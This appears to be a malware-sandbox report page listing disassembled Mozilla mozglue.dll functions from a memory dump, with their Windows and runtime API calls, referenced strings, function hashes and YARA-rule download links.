Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
